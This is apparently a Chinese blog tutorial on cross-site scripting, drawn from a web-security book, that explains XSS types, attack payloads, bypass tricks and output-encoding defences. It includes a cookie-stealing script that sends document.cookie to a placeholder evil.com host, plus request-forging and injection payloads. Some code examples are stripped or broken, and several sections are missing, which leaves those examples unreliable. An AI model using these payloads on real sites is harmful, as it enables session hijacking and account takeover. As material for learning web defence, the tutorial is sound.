初识XSS攻击
初识XSS攻击
目录本文参考于《白帽子讲Web安全》第3章跨站脚本攻击(XSS),该书出版于2014年,因而现在可能存在一些新场景或新技术而未被提及,但本文对学习和了解XSS攻击仍具有重要价值。
- 初识XSS攻击
- 1. 什么是XSS攻击?
- 1.1 反射型XSS
- 1.2 存储型XSS
- 1.3 DOM型XSS
- 2. XSS攻击
- 2.1 Cookie劫持
- 2.2 操纵浏览器
- 2.2.1 发起GET请求
- 2.2.2 发起POST请求
- 2.3 XSS钓鱼
- 2.4 信息搜集
- 2.4.1 浏览器版本
- 2.4.2 已安装软件
- 2.4.3 用户IP
- 2.5 XSS Worm
- 3. XSS构造技巧
- 3.1 利用字符编码
- 3.2 绕过长度限制
- 3.2.1 利用事件
- 3.2.2 location.hash
- 3.2.3 利用注释符
- 3.3 base标签
- 3.4 window.name
- 4. XSS防御
- 4.2 输入检查
- 4.3 输出检查
- 4.4 各种场景下的XSS
- 4.4.1 HTML标签中输出
- 4.4.2 HTML属性中输出
- 4.4.3 在script标签中输出
- 4.4.4 在事件中输出
- 4.4.5 在CSS中输出
- 4.4.6 在地址中输出
- 4.5 富文本处理
- 4.6 DOM型XSS防御
- 5. 其他
- 5.1 Mission Impossible
- 5.2 JavaScript开发框架
- 1. 什么是XSS攻击?
1. 什么是XSS攻击?
XSS攻击即跨站脚本攻击,英文全称Cross Site Script,缩写为CSS,为了和层叠样式表(Cascading Style Sheet, CSS)区别,故叫做XSS。
XSS攻击是指黑客向网页中插入恶意脚本,从而使用户在浏览网页时,控制用户浏览器的攻击行为。
XSS根据效果的不同可分为三类:反射型XSS、存储型XSS、DOM型XSS。
1.1 反射型XSS
反射型XSS只是简单的将用户的输入“反射”给浏览器,即黑客往往需要诱导用户点击一个恶意链接,才能攻击成功。反射型XSS也叫“非持久型XSS”。
例如下面的例子,将用户输入的参数直接输出到页面上
<?php
$input = $_GET["param"];
echo "".$input."";
?>
通过提交一段HTML代码
http://www.a.com/test.php?param=
使得源码变为
用户输入的Script脚本被写入的页面当中。
1.2 存储型XSS
存储型XSS会将用户的输入数据(恶意代码)存储在服务端,只要有用户访问,就会受其影响,因此这种XSS具有很强的稳定性,也叫做“持久性XSS“。
例如黑客发表一篇带有恶意javascript代码的博客文章后,任何访问该文章的用户,都会在其浏览器中执行该恶意代码,从而受其影响。
1.3 DOM型XSS
DOM型XSS是通过修改页面DOM节点形成的XSS,称为DOM Based XSS。
从效果上说,DOM型XSS也是反射型XSS,但DOM型XSS只涉及浏览器JavaScript和HTML层,不涉及服务器端,即不会经过服务器端的处理。
例如使用innerHTML
将用户数据直接当作HTML写入到页面中,原代码如下
var str = document.getElementById("input").text;
document.getElementById("t").innerHTML="testLink
用户可以构造' onclick=alert(/xss/) //
从而变成testLink
,点击该链接,脚本就会被执行。
或通过闭合原标签,插入新标签来利用该漏洞。如通过构造'>
,从而使页面代码变为<'
,从而执行注入的脚本。<''>testLink
2. XSS攻击
XSS Payload
XSS攻击成功后,攻击者可以向页面中植入恶意脚本,从而控制用户的浏览器。这种用来完成各种具体功能的恶意脚本,称为XSS Payload。
2.1 Cookie劫持
Cookie中保存了当前用户的登录凭证,通过Cookie,攻击者可以不通过密码,直接登录进用户的账户中。一种常见的XSS Payload就是通过读取浏览器Cookie对象,从而发起“Cookie劫持"。
举个栗子
攻击者先加载一个远程脚本
http://www.a.com/test.html?abc=">"
真正的XSS Payload在远程脚本中,此法可避免直接在URL参数中写入大量脚本代码,如下
//evil.js
var img = document.createElement("img");
img.src = "http://www.evil.com/log?" + escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,并将document.cookie
作为参数发送到远程服务器上,即便http://www.evil.com/log
不存在,这个请求也可以在远程服务器的Web日志中留下记录
127.0.0.1 - - [19/Jul/2010:11:30:42 +0800] "GET /log?cookie1%3D1234 HTTP/1.1" 404 288
由此,就完成了Cookie的窃取。
在利用该Cookie时,先构造HTTP头,然后将该Cookie加入(或替换到)HTTP头中,就可以利用该Cookie直接登录进用户的账户。
Cookie的HttpOnly
标识可以防止Cookie劫持。
2.2 操纵浏览器
一个网站的应用,只需要接收HTTP的GET和POST请求即可完成所有的操作。而攻击者通过JavaScripit,就可以让浏览器发起这两种请求。
2.2.1 发起GET请求
例如某博客上有一篇文章,正常删除该文章的链接为
http://blog.sohu.com/manage/entry.do?m=delete&id=156713012
若该博客所在域的某页面存在XSS漏洞,对攻击者来说只需知道该文章的id就可以请求删除这篇文章。攻击者可以通过插入一张图片来发起一个GET请求
var img = document.createElement("img")
img.src = ”http://blog.sohu.com/manage/entry.do?m=delete&id=156713012“;
document.body.appendChild(img);
攻击者只需要让博客作者执行这段代码,就会把文章删除。
在具体的攻击中,攻击者通过XSS诱使用户执行XSS Payload。
2.2.2 发起POST请求
如果网站应用只接收POST请求,又该如何实施XSS攻击呢?
例如对于一个表单,攻击者可以通过JavaScript发出一个POST请求,提交此表单,从而进行攻击。
第一种方法,构造一个form表单,然后通过submit()
自动提交。
第二种方法,通过XMLHttpRequest
发送POST请求。
因此通过JavaScript模拟浏览器发包并不是一件困难的事。XSS攻击除了实施Cookie劫持外,还能通过模拟GET、POST请求操作用户浏览器。
2.3 XSS钓鱼
利用JavaScript在当前页面上绘制一个伪造的登录框,当用户在登录框输入用户名密码后,将其密码送到黑客服务器上。
2.4 信息搜集
2.4.1 浏览器版本
如何识别浏览器的版本呢?
第一种方法,通过XSS读取浏览器的UserAgent
对象,即
alert(navigator.userAgent);
可以得到
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
但浏览器的UserAgent
是可以伪造的,因此通过这种方法获得的信息不一定准确。
第二种方法,不同浏览器会各自实现一些独特的功能,而浏览器不同版本间也有细微的差别,通过分辨这些浏览器之间的差异,就能准确的判断出浏览器的版本,而且几乎不会误报。
2.4.2 已安装软件
知道用户使用的浏览器、操作系统后,可以进一步识别用户安装的软件。
例如早先在IE中,可以通过判断ActiveX控件的classid是否存在,来判断用户是否安装了该软件。通过收集常见软件的classid,就可以扫描出用户电脑中安装的软件列表,甚至包括软件版本。
一些第三方软件也可能会泄露一些信息。
浏览器的扩展和插件也能被XSS Payload扫描出来。早期Firefox的插件列表存放在一个DOM对象中,通过查询DOM可以遍历出所有的插件;对于Firefox的扩展,有安全研究者曾通过检测拓展的图标是否能加载出来来判断某个特定的拓展是否存在。
2.4.3 用户IP
通过XSS Payload还有办法获取一些客户端的IP地址。
JavaScript本身没有提供获取本地IP地址的能力,但可以借助第三方软件来完成。比如早期若客户端安装了Java环境,那么XSS就可以通过调用Java Applet的接口获取客户端本地IP地址及网络信息。
2.5 XSS Worm
XSS Worm是XSS的一种终极利用方式,它的破坏力和影响力是巨大的,但发起XSS Worm攻击也有一定的条件。
一般来说,用户之间发生交互行为的页面,如果存在存储型XSS,则比较容易发起XSS Worm攻击。
案例:Samy Worm、2007年百度空间蠕虫
3. XSS构造技巧
3.1 利用字符编码
由于不同的场景所使用的编码不同,这时就可能出现可以利用编码的漏洞。
如某度在一个标签中输出了一个变量,其中转义了双引号,并将变量包含在
""
之内,因此输入";alert(/xss/);
会变成"\";alert(/xss/);"
,一般来说这里是没有XSS漏洞的。
但百度返回页面是GBK/GB2312编码的,因此%c1\
这两个字符组合在一起后会变成一个Unicode
字符,在Firefox下会认为这是一个字符,从而变成%c1";alert(/xss/);//
,发生XSS攻击。
这两个字节%c1\
组成了一个新的Unicode
字符,因此%c1
将转义字符\
吃掉了,从而绕开了系统的安全检查,成功实施了XSS攻击。
3.2 绕过长度限制
很多情况下,由于服务端的逻辑,产生XSS的地方会有变量的长度限制。
例如对下面代码
服务器端限制$var
长度为20,若攻击者构造XSS
”>
则这段XSS会被切割为
">
防御方法是对变量使用HtmlEncode。
4.4.2 HTML属性中输出
可能的攻击方法,先闭合标签,再构造标签。
防御方法采用HtmlEncode。
在OWASP ESAPI
中推荐了一种更严格的HtmlEncode,除字母数字外,其他所有特殊字符都被编码为HTMLEntities
。
4.4.3 在script标签中输出
攻击方法,先闭合引号再实施XSS攻击。
防御使用JavascriptEncode。
4.4.4 在事件中输出
test
可能的攻击方法
test
防御方法使用JavascriptEncode。
4.4.5 在CSS中输出
- XSS
一般来说,尽可能禁止用户可控制的变量在style标签、HTML标签的style属性及CSS文件中输出。若一定有这样的需求,则推荐使用OWASP ESAPI中的encodeForCSS()
函数。
4.4.6 在地址中输出
URL: [Protocal][Host][Path][Search][Hash]
一般来说,在URL中的Path和Search使用URLEncode即可,它会将字符转化为"%HH"的形式,如空格是%20
。
若整个URL完全被用户控制,这时URL的Protocal和Host部分是不能使用URLEncode的,否则会改变URL的语义。攻击者可能构造伪协议(如javascript
、vbscript
、dataURI
)实施攻击。
test
test
此时应先检查变量是否以http
开头,如果不是则自动添加,以保证不会出现伪协议类的XSS攻击。在此之后再对变量进行URLEncode,即可保证不会有此类XSS发送了。
4.5 富文本处理
有时网站需要允许用户提交一些自定义的HTML代码,称之为“富文本”。
如何区分安全的富文本和有攻击性的XSS呢?
在处理富文本时,还是要回到输入检查的思路上来。检查输入的主要问题是不知道变量实际的输出语境,而对于用户提交的富文本,其语义是完整的HTML代码,在输出时也不会拼凑到某个标签的属性当中。
HTML是一种结构化的语言,通过htmlparser可以解析出HTML代码的标签属性和事件。
在过滤富文本时,事件应该被严格禁止,对于一些危险的标签,如
、
、
、
等,也应该严格禁止。
在标签选择和属性与事件的选择上应使用白名单,避免使用黑名单,如只允许
、![]()
、等比较“安全”的标签存在。
如果一定要允许用户自定义样式,则只能像过滤富文本一样过滤CSS,这需要一个CSS Parser对样式进行智能分析,检查其中是否包含危险代码。
有一些成熟的开源项目,实现了对富文本的XSS检查。
4.6 DOM型XSS防御
DOM型XSS是从JavaScript中输出数据到HTML页面里,而前文提到的都是针对“从服务器应用直接输出到HTML页面”的XSS漏洞,因此并不适用于DOM型XSS。
举个栗子
变量$var
输出在script标签内,可后来又被document.write
输出到HTML页面中。假如为了保护$var
直接在script标签内产生XSS,服务器对其进行了javascriptEncode。
但$var
在document.write
时,仍然能够产生XSS。原因在于第一次执行javascriptEncode后,只保护了var x="$var";
,当输出数据到HTML页面时,浏览器重新渲染了页面。因此在script标签执行时已经对变量x进行了解码,之后document.write
再运行时,其参数变成了
test
由此产生XSS。
是不是因为对$var
用错了编码?如果换成HtmlEncode会怎样?再举一个栗子。
服务器把变量HtmlEncode后再输出到script中,然后变量x作为onclick事件的一个函数参数被document.write
到了HTML页面里。
test
onclick执行了两次alert,第二次是被XSS注入的。
正确的防御方法是什么呢?
首先,在$var
输出到script时,应执行一次javascriptEncode;其次在document.write输出到HTML页面上时,分情况对待:如果输出到事件或脚本,要再做一次javascriptEncode;如果输出到HTML内容或属性,则要做一次HtmlEncode。
即从JavaScript输出到HTML页面,也相当于一次XSS输出的过程,需要分语境使用不同的编码函数。
触发DOM型XSS的地方有很多,这几个是JavaScript到HTML页面的必经之路:document.write()
、document.writeln()
、xxx.innerHTML=
、XXX.outerHTML
、innerHTML.replace
、document.attachEvent()
、window.attachEvent()
、document.location.replace()
、document.location.assign()
...
除服务器端直接输出变量到JavaScript外,还有几个地方可能称为DOM型XSS的输入方式:input框
、window.locaiont(herf、hash)
、window.name
、document.referrer
、document.cookie
、localstorage
、XMLHttpRequest返回数据
...
5. 其他
5.1 Mission Impossible
某些表面上看起来很鸡肋、无法利用的漏洞,随着时间对推移,最后借助某些工具,也可能被人利用。(一切皆有可能)
5.2 JavaScript开发框架
在Web前端开发中,常使用一些框架,可以快速简洁地完成开发任务。一般成熟的开发框架都会注意自身的安全问题,但代码是人写的,高手也偶尔会犯错。
在开发过程中,除了需要关注框架本身的安全性外,开发者也要提高安全意识,理解并正确的使用开发框架。
相关